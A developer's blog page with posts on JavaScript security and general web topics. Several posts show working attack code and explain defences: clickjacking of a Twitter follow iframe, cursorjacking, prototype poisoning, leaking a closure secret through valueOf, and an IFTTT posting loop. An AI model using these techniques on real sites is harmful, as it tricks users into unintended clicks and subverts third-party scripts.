Unbound methods in JavaScript

In my previous blog post I described technique how to avoid context object exposure in Observer pattern.

publish: function (publication) {
    for (var i = 0, len = subscribers.length; i < len; i++) {
        subscribers[i].call(undefined, publication); //hide context by specifying undefined as new execution context
    }
}

But foo.call(undefined, ...) may lead to assumption that context (this keyword) of the foo function will be equal to undefined. Well, it is not exactly true. this will be resolved to global window object.

function foo(){
    document.write(Object.prototype.toString.call(this)); //[object global]
}
foo.call(undefined);

But if the engine is running on strict mode, then this will be resolved as expected — to the exact thing it was applied to:

"use strict"
function foo(){
    document.write(Object.prototype.toString.call(this)); //[object Undefined]
}
foo.call(undefined);

Be careful with your assumption, especially in JavaScript!

Read more!

Third-party JavaScript API security

Third-party JavaScript is a pattern of JavaScript programming that enables the creation of highly distributable web applications. Many websites (publishers) embed untrusted JavaScript code into their pages in order to provide advertisements, social integration, user’s analytics and so on. Since JavaScript may change look and feel of the contained page, steal cookies or force user to visit some page – it should be considered as untrusted code which may harm not only the page, but also other third-party API’s on the same page. From third-party API developer point of view, publisher’s page became untrusted as well. Developer doesn’t know what publisher’s real intentions are and how other third-party JavaScript will behave.

So it is essential to protect third-party API from another untrusted code which could be present on the page.  While third-party code may be isolated in iFrame, this reduces performance and restricts communication between the hosting page and third-party code. Therefore a lot of APIs distributed via pure JavaScript injection into publisher’s page.

Anonymous wrappers

Anonymous wrapper allows to avoid global object pollution. In addition, if you pass some frequent-accessed global variables as parameters – it may lead to smaller size of minified JavaScript file. This is because minifier will consider argument named window (in the example below) as variable, but not as a keyword. So all references to window argument in function body will be replaced with something shorter.

(function(window){

//a lot of references to window object here

})(window)

But is it a safe way to write third-party code? Not really, it could be easily spoofed by another, untrusted JavaScript if it is executed before yours. The more bulletproof approach would be to use keyword this in global context. Also it is a good technique to rely on JavaScript default behavior regarding arguments – if argument is missed it will be assigned to undefined internally! So, here is an example with anonymous wrapper which guarantee you correct references to window and undefined objects.

(function(window, undefined){

//here we definitely can trust those two variables

})(this)

Callstack inspection

Let’s consider another third-party JavaScript code. The main intent of the closure below is to restrict access to variable secret.

var API = (function () {
    var secret = 'my secret',
        safe = function (token, secret) {
            if (token == secret) {
                //do something here            
            }
        };
    return {
        safe: function (token) {
            return safe(token, secret);
        }
    }
})();

At first glance it looks like there is no way API.safe will leak value of secret variable. But here is an opportunity for bad guys:

var unsafe = {
    valueOf: function f() {
        document.write(f.caller.arguments[0] + ', '); // Chrome process arguments a little bit differently
        document.write(f.caller.arguments[1]); // FF
    }
};

API.safe(unsafe);

Before comparing object token and secret variables, the == operator will call valueOf method on each object, a function which the attacker now controls. So it is possible to retrieve caller function’s arguments and read them. In this particular case the attack could be disarmed by replacing equality (==) operator with identity (===) operator, which won’t call valueOf method during the comparsion.

Prototype poisoning

Malicious code on publisher’s page may alter the behavior of native objects, such as strings, functions, and regular expressions, by manipulating the prototype of these objects. For example, it is a common task to check current session protocol and request the resource asynchronously by using HTTP or HTTPS respectively. This can be done via Regex expression:

var protocol = /https?:/gi.exec(url)?

var newUrl = protocol[0] + …

Unfortunately this is not safe technique for third-party JavaScript and could be compromised by modifying prototype of RegExp object:

RegExp.prototype.exec = function () { return [‘http:’]; }

Instead of calling native exec the browser will instead call attacker’s function and the resource will be requested via unsecure HTTP protocol even if user accessed the page by HTTPS.

Confusing Callbacks and Methods

Here is a standard/lightweight implementation of observer pattern in JavaScript:

function Observer() {
    var subscribers = [];
    return {
        subscribe: function (subscriber) {
            subscribers.push(subscriber);
        },
        publish: function (publication) {
            for (var i = 0, len = subscribers.length; i < len; i++) {
                subscribers[i](publication);
            }
        }
    };
}

And again there is nothing wrong with it at first glance. Let’s assume that your third-party API expose instance of Observer class to allow publisher code subscribe to your widget events:

var observer = new Observer;
observer.subscribe(function(){alert('I\'m normal event handler');});

The problem is that internal variable subscribers is exposed via thiskeyword inside event handler.

observer.subscribe(function untrusted() {
    this[0] = untrusted; //put our subscription first in the queue
    this.length = 1; //cut off all other event subscriptions
    alert('I\'m the only one here in charge!');
});

Although first call of observer.publish() will rise both alerts, on the second and any consequent run only untrusted alert will be shown.

Fix is simple – replace execution context on something useless:

publish: function (publication) {
    for (var i = 0, len = subscribers.length; i < len; i++) {
        subscribers[i].call(undefined, publication);
    }
}

But even now we’re not safe, consider the following subscriber:

observer.subscribe(function untrusted() {
    throw ‘Skip those losers’; //will skip all subsequent event handlers to execute
});

I’ll leave you here to resolve the issue by yourself (use setTimeout(…, 0) to put all handlers in the queue and then let browser to execute them independently).

Mandatory mutability

Here is another example of hiding some private variables inside closure:

function Counter() {
    var count = 0;
    return {
        increment: function () {
            return ++count;
        },
        decrement: function () {
            return --count;
        }
    };
}

var counter = new Counter;
alert(counter.increment()); // 1

In case your API expose counter instance somehow, it’s methods could be easily substituted with attacker’s code:

//malicious code below
counter.increment = function() { return 10; }
alert(counter.increment()); // 10

Luckily, ECMA 5 provide us with a mechanism to prevent such unwelcome substitution by using Object.freeze approach:

function Counter() {
    var count = 0;
    return Object.freeze({
        increment: function () {
            return ++count;
        },
        decrement: function () {
            return --count;
        }
    });
}

Unfortunately it won’t work in old browsers.

Unusual Sandboxes

During writing this blog post I’ve found js.js library that allows an application to execute a third-party script inside a completely isolated, sandboxed environment. Haven’t tested it yet, but it looks promising. I’d like to check performance as well as security issues there…

Read more!

Cursor spoofing and cursorjacking

Today I’d like to continue clickjacking topic and review another kind of attack named – cursorjacking. It was introduced last year by Eddy Bordi. Attack compromising pointer integrity – the guarantee that users can rely on cursor feedback to select locations for their input events. One of the advantages of such attack vector is that target link could be visible and located at its original place. This make harder to identify an attack by robot and block compromised page. In addition it will work even if javascript is disabled in user’s browser.

The main idea of the attack is to replace user’s cursor with a fake one. Fake cursor should be shifted relatively to it’s normal position, so it will provide false feedback of pointer location to the user.

Normal cursor

cursor

Fake cursor

fake-cursor
Of course in real-world attack background will be not red, but transparent. Cursor replacement could be achieved in several ways.

Javascript version

Hide user’s cursor by using  html { cursor: none; } and have <img src=”path/to/fake/cursor.png” />. But then you have to manually track user’s real cursor position and place fake on its place. Btw, you may even have fake cursor looks exactly like real one (without any empty space on the left) – you can programmatically shift fake cursor while calculating its new position.

View Demo

CSS version

Another trick is simply replace cursor with our own by pure CSS .fake-area{ cursor: url(fake-cursor.cur) }. This allows attacker to perform cursor spoofing for some part of the page (but not the whole page as we saw in previous example).

But cursorjacking attack is not common nowadays because its hard to replace user’s cursor with exactly the same (visually) image. Different OS versions may have different cursors, in addition user’s may select their own custom cursors or OS themes. Also when attacker want user to click inside iframe (“Follow me”, “Like” and “+1” buttons are implemented as iframes), cursor changes due to iframes styles and therefore reveal user’s real cursor position.

Advanced cursor spoofing

As you may noted attack is too obvious for the victim, it will be better if we could hide cursor over iframe or at least minimize its appearance. What if we add another div element and make sure user will hover it once his cursor enters iframe area. And then we will remove/hide the div right before user’s click. There are two problems beside this approach: how will we track user’s cursor position when it enters iframe area and how do we know the moment right before user’s click.

First problem could be solved by “picking up” user’s cursor before it enter iframe area, so technically user will hover element from attacker’s page and won’t enter iframe area – there will be no cursor change and no tooltip.

Second problem is more challenging, but still possible to solve. Although there are no beforefocus event (so we can’t use trick from previous clickjacking vector) and no beforeclick event as well. But we can try to guess when click may happen. In order to make our guess more reliable, we can learn from user first. Let’s say you have a page with some text and dozen links on it, like a normal blog post. During post reading user opens some links, so why don’t use this information in our attack? Attacker can learn user’s behavior such as how fast user push left mouse down after he entered target area. Or how fast user moves his cursor (usually faster movements means faster clicks).

View Demo

Defence

Be suspicious and put your attention wherever you clicking on. It would be nice to have your own, custom cursor in the system, but this could be compromised by using social engineering or something.

Read more!

Infinite loop as a way for DoS attack

An infinite loop  is a sequence of instructions in a computer program which loops endlessly, either due to the loop having no terminating condition, having one that can never be met, or one that causes the loop to start over. For example,

while(true){

//do nothing here

}

or

for(;;);

There are a few situations when this is desired behavior. For example, when you want to freeze attacker’s machine in order to prevent JSON hijacking. On the other hand, most of the time infinite loop is not a desired behavior and will simply consume all allowed system resources. Kind of DoS attack against your machine resources.

Similar effect (infinite loop) could be achieved not by using some language operators, but services. Yeah, what about the services? Can we loop them infinitely? I bet we can and here is one of examples.

As you may know it is possible to connect your Twitter and Facebook accounts so that your Tweets will automatically post to your Facebook wall.

twitter-settings

Please note I have page on facebook named “Infinite loop page” – which is a regular facebook page.

In this attack we will also use IFTTT service which states to “If This Then That”. It provides ways to connect different services. For example, you can use IFTTT to simultaneously post message on your Facebook page and then direct it to your Twitter account. Are you still with me? So the loop we’d like to create is Twitter –> Facebook –> IFTTT –> Twitter.

Here is how I configured IFTTT recipe:

ifttt

In order to demonstrate you attack timing, it will add post date-time to the end of the message each time it will go through IFTTT.

ifttt-action

Now let’s tweet something short and see what happens:

tweets

As you can see my single tweet leads to 4 consecutive tweets and it stops there only because it reached 140 symbols limit on Twitter. Also there is one new tweet in 15 minutes.

Now imagine what would happen if tweet message will not grow after each cycle? Correct, it will run infinitely. In addition I can tweet tens, hundreds or even thousand messages. So the rate will be several tweets per second.  And what if I create tens or hundreds of such accounts? And what if I create tens of such IFTTT receipts which will run with different time shifts?

I have to admit that it should be easy to detect such DoS attack and disable compromised accounts, but the beauty of the attack is that an attacker shouldn’t waste any of his resources (after accounts are registered and linked), he just need to run the cycle with as many tweets as he can. Also I have to admit that IFTTT doesn’t have enough resources to spam such giants properly, so this is not an actual DoS attack, but just conceptual bug in the service.

Probably we can involve other services in this loop and make the services to waste their resources for us, but I didn’t have time to try it out.

You can check test accounts working on Twitter and Facebook page.

UPDATE 7/31/2012: Looks “like infinite loop” stops after 130 tweets for some reason. I guess one of the services has spam detection or posts/per minute limitation.

Read more!

Clickjacking explained

Clickjacking attacks are an emerging threat on the web. Let’s consider first type of such attacks which compromising target display integrity – the guarantee that users can fully see and recognize the target element before an input action. First, let me explain clickjacking basics.

Let’s say you added “Follow” button from Twitter.

<a href="https://twitter.com/podlipensky" class="twitter-follow-button" data-show-count="false">Follow @podlipensky</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script>

Once twitter’s script is loaded, it replaces “Follow” link with an iframe. This is where clickjacking attack begins. Here is an example how to catch the moment when iframe is in place and ready to be attacked:

function init(){
  var doc = document,
   body = doc.body,
   frames = doc.getElementsByTagName('iframe'),
   len = frames && frames.length,
   frame, i, found = false;
  for(i = 0; i < len; i++){
   frame = frames[i];
   if(/^https?:\/\/platform.twitter.com\/widgets\/follow_button.*/gi.test(frame.getAttribute('src'))){
    //event subscription should be placed here

    found = true;
    break;
   }
  }
  if(!found){
   window.setTimeout(init, 1);
  }
}
window.setTimeout(init, 0);

Then script make iframe positioned absolute, thus it can be moved across the page without other elements being disturbed. In addition script make iframe invisible by setting opacity to 0.

Now script subscribes to window’s mousemove event and move iframe under user’s cursor until he make first click.

var startMoveButton = function(e){
  e = e || window.event;
  //calculate cursor position and shift iframe a little bit, in order to make sure user will click inside iframe even if he moves cursor fast
  var x = e.clientX + ( doc && doc.scrollLeft || body && body.scrollLeft || 0 ) - ( doc && doc.clientLeft || body && body.clientLeft || 0 ) - 20,
      y = e.clientY + ( doc && doc.scrollTop || body && body.scrollTop || 0 ) - ( doc && doc.clientTop || body && body.clientTop || 0 ) - 5;
  frame.style.position = 'absolute';
  frame.style.left = x + 'px';
  frame.style.top = y + 'px'; 
},
stopMoveButton = function(){
  removeListener(doc, 'mousemove', startMoveButton);
  removeListener(window, 'blur', stopMoveButton); //listen for this window blur event, this MAY indicate user's click inside iframe
};

...

//once we found the iframe - do event subscription 
if(/^https?:\/\/platform.twitter.com\/widgets\/follow_button.*/gi.test(frame.getAttribute('src'))){
  addListener(doc, 'mousemove', startMoveButton);
  addListener(window, 'blur', stopMoveButton);
  found = true;
  break;
}

The only tricky place here is how to figure out when user is clicked inside iframe? Once cursor reach iframe, main script can’t receive any mouse events including click event. But it can try to guess when such click may happen by listening current window blur event. That’s it –  when user clicked somewhere inside iframe, current window will loose the focus. And as script knows that the only iframe user can click in –  Twitter button, attacker may assume that first blur event equal to click event. At this point it make sense to remove all event listeners and leave iframe alone, so user won’t click on it second time and won’t see popup window (which appears by default in such case).

View Demo

But current implementation will loose user’s first click, which could make user suspicious. In more advanced implementations, script may figure out what user wanted to click on and imitate user’s click after all event listeners removed.

A usual prerequisite of the clickjacking attack is that the victim must be authenticated against an attackers target web page to perform actions on it. So reconnaissance could be done via visitor’s social networks detection. It allows hacker to detect social networks user’s currently logged and switch target of assault on the fly, so the attack will be more successful.

Although there are other corner cases, when, for example, iframe resized to 1×1 pixel size and then attacker adds as many such iframes as he need to draw custom graphics by using those iframes.

CSS-only clickjacking

Again, nothing new, but still worth to mention CSS-only vector. The attack is possible because of pointer-events CSS property, which allows you to specify how the mouse interacts with the element it is touching. The pointer-events property can have many values, but many of them are only applicable to SVG*: auto, none, visiblePainted*, visibleFill*, visibleStroke*, visible*,painted*, fill*, stroke*, all*, and inherit. The none value prevents the click, state, and cursor actions. So placing element with pointer-events: none over target iframe let clicks flow through to element underneath.

Although it was originally intended for SVG elements, browser support for pointer-events on other elements is pretty good, except for IE and Opera.

That’s why for cross-browser solution you need to use SVG element as overlay and use this hack (IE7-8, not 9 and not sure about 10):

filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='your-transparent.png', sizingMethod='scale');

background:none !important;

View Demo

Defence

The most common defense, called frame busting, prevents a site from functioning when loaded inside a frame. But there are some use cases when page is intended to be inside iframe, such as Facebook “Like” button or Twitter “Follow” button. These buttons still suffer from clickjacking attacks. Some companies sue spammers as a defense to clickjacking. Others choose to show popup windows once user clicked inside iframe, although it degrades user experience, especially in case of single-click-button. This is exactly what Twitter do for the “Retweet” button. Facebook currently deploys this approach for the “Like” button, asking for confirmation whenever requests come from blacklisted domains. I’ve heard that Googlebot perform some clickjacking heuristics while indexing pages with its “+1” button (checking computed styles, elements overlapping and so on)…

From user perspective of view, you can install NoScirpt extension for Firefox. It compares the bitmap of the clicked object on a given web page to the bitmap of that object rendered in isolation (e.g., without transparency inherited from a malicious parent element).

Also it is good to note, that iframed buttons always should change user’s cursor and display tooltips, so it will be more obvious for user what he is about to click on.

Final notes

And the last note, why Facebook, Twitter and others uses iframes for “Like” and “Follow” buttons? Why not just generate div on a page? First of all, absence of iframe won’t protect them from clickjacking – attacker could hide and move any element on the page (not only iframe). Second, the link originates from the iframe, a CSRF (cross-site request forgery) token can be embedded in the request and the parent site cannot read this token and forge the request. So the iframe is an anti-CSRF measure that relies upon the SOP rules to protect itself from a malicious parent.

Read more!

Usability issue during checkout

As some of you may noted, I moved from DotNetBlogEngine to WordPress blog engine. In addition I decided to buy one of the beautiful WordPress themes from ThemeForest. It has fair price $35

But there are two usability barriers for me as a customer to buy the product.

Registration

I have to be registered on the website before I can make any purchase.

Smashing Magazine published an article sometime ago named Fundamental Guidelines Of E-Commerce Checkout Design. One of the main ideas there was that registration should be optional:

  • Customers already have a myriad of user names and passwords to remember and don’t want to create an entirely new account just to buy one or two products from an online store
  • Customers “expect to be spammed with marketing material, even if they explicitly declined to sign up for a newsletter during the checkout process”, i.e. “Account = Newsletter”
  • Customers likely realize that you’re storing their information indefinitely
  • Signing up for an account also takes time
  • Customers just don’t understand why they need an account to buy a product

Anyway, I liked theme a lot, so I spent some of my valuable time to register on their website (I had problems with registration as well, but this is boring).

And one more note here – if merchant still want to have accounts for tracking purposes this is the advice they give:

You can set their email address as their user name and fill in the account information with their order details. This way, the customer isn’t forced to create an account but has an easy way to do so after completing their purchase. (Remember to explain the benefits of having an account.)

Read more!

Choosing web framework: ASP.NET MVC vs Django Python vs Ruby on Rails

How often do you emerge from you cubicle to look around, note new faces or new facial expression on old ones? How often do you emerge from you technology stack to consider better another approaches/practices?

If you do this rarely – bad for you, you will miss important changes in your environment, loose the track or even worse – you will work hard in wrong direction. This is important not only to be qualified, but also to be competitive and have broad experience.

But, my time is very valuable, so even downloading something and reading its documentation is an investment I’d rather shortcut if I can. Therefore I definitely need some way to measure current trends, so I can predict outcome of my investment – diving into new technology (or even technology stack).

As a super-web-developer I’m about to consider the following frameworks to learn: ASP.NET MVC, Django Python and Ruby on Rails.

[Note: I’m aware that PHP has its own MVC frameworks, the most popular of which I believe are CodeIgniter and CakePHP.  While PHP is vastly more popular than any of frameworks above, I decided to do not consider PHP frameworks and leave them for another post.]

Here are important factors to consider before start learning any new language:

  • Quality and availability of libraries.
  • Quality of tools like IDEs, debuggers, automation systems.
  • Size and healthy of the active community using the framework.  (i.e. If I run into a problem, how easy is it to google the answer?)
  • Demand of technology specialists
Read more!

Bitwise NOT in Javascript

isNumber Function

Even if I used some best-ever-practice in one of my projects, it doesn’t mean I can’t find even-better-approach in the next one. In other words there is always a place for learning.

Let’s take a look into simple function named isNumber

function isNumber(n){
     return typeof n === “number” && !isNaN(n) && n !== Infinity;
}

(to be honest, not the best approach, but it does its job)

Now, let’s try to improve/optimize this method by using bitwise not operation (~). For those who not familiar with such operation: ~ (bitwise not) operator will take its operand, convert it 32-bit integer and will invert each bit.

00000000000000000000000100111010


becomes

11111111111111111111111011000101


The same effect could be achieved by the following formula: – ( foo + 1 ). So, if ~foo = – ( foo + 1 ), then double bitwise operation will lead to ~~foo = – ( – ( foo + 1 ) + 1 ) = – ( –foo – 1 + 1 ) = foo. But please remember that foo will be converted to 32-bit integer internally.

Read more!

Relative URL and HTTPS protocol

All of you are familiar with such browser warning message:

image

This usually happens when you load the page via HTTPS protocol, but some of the page’s resources were requested by HTTP protocol. It’s not an option to simply disable warning in a browser, because such references create vulnerabilities that put the privacy and integrity of an otherwise-secure page at risk. It could be achieved by modifying insecure content in transit. In addition, regular internet users could be scared by such message and leave the page.

Client Side Protocol Detection

This is why web developers should take care of the issue by following next rule: within HTTPS page never include a reference to HTTP-delivered resource. But things became more complicated with pages which could be accessed by HTTP or by HTTPS. In this case you don’t know in advance what protocol to use. Another good example is to have some widget, which could be included in third-party pages and some of them are secure while others – not. Google Analytics team solved this problem by the following JavaScript snippet:

<script type="text/javascript"> 
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); 
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); 
</script>

The script analyzes what protocol is used on a current page and creates URL to Google Analytics script by using the same protocol (in addition it changes subdomain, but it is not a topic of discussion).

Read more!

When cached items became invalid?

There are a number of reasons why browser could make a conditional or unconditional request for item that is already in the cache.

Item is expired

The cached data is no longer fresh according to Cache-Control or Expires.

These specify the “freshness lifetime” of a resource, that is, the time period during which the browser can use the cached resource without checking to see if a new version is available from the web server. They are “strong caching headers” that apply unconditionally; that is, once they’re set and the resource is downloaded, the browser will not issue any GET requests for the resource until the expiry date or maximum age is reached.

Browser applied its heuristic and decided that item should be revalidated by server based on

Last-Modified and ETag. These specify some characteristic about the resource that the browser checks to determine if the files are the same. In the Last-Modified header, this is always a date. In the ETag header, this can be any value that uniquely identifies a resource (file versions or content hashes are typical).

Last-Modified is a “weak” caching header in that the browser applies a heuristic to determine whether to fetch the item from cache or not. (The heuristics are different among different browsers.) However, these headers allow the browser to efficiently update its cached resources by issuing conditional GET requests when the user explicitly reloads the page. Conditional GETs don’t return the full response unless the resource has changed at the server, and thus have lower latency than full GETs.

Read more!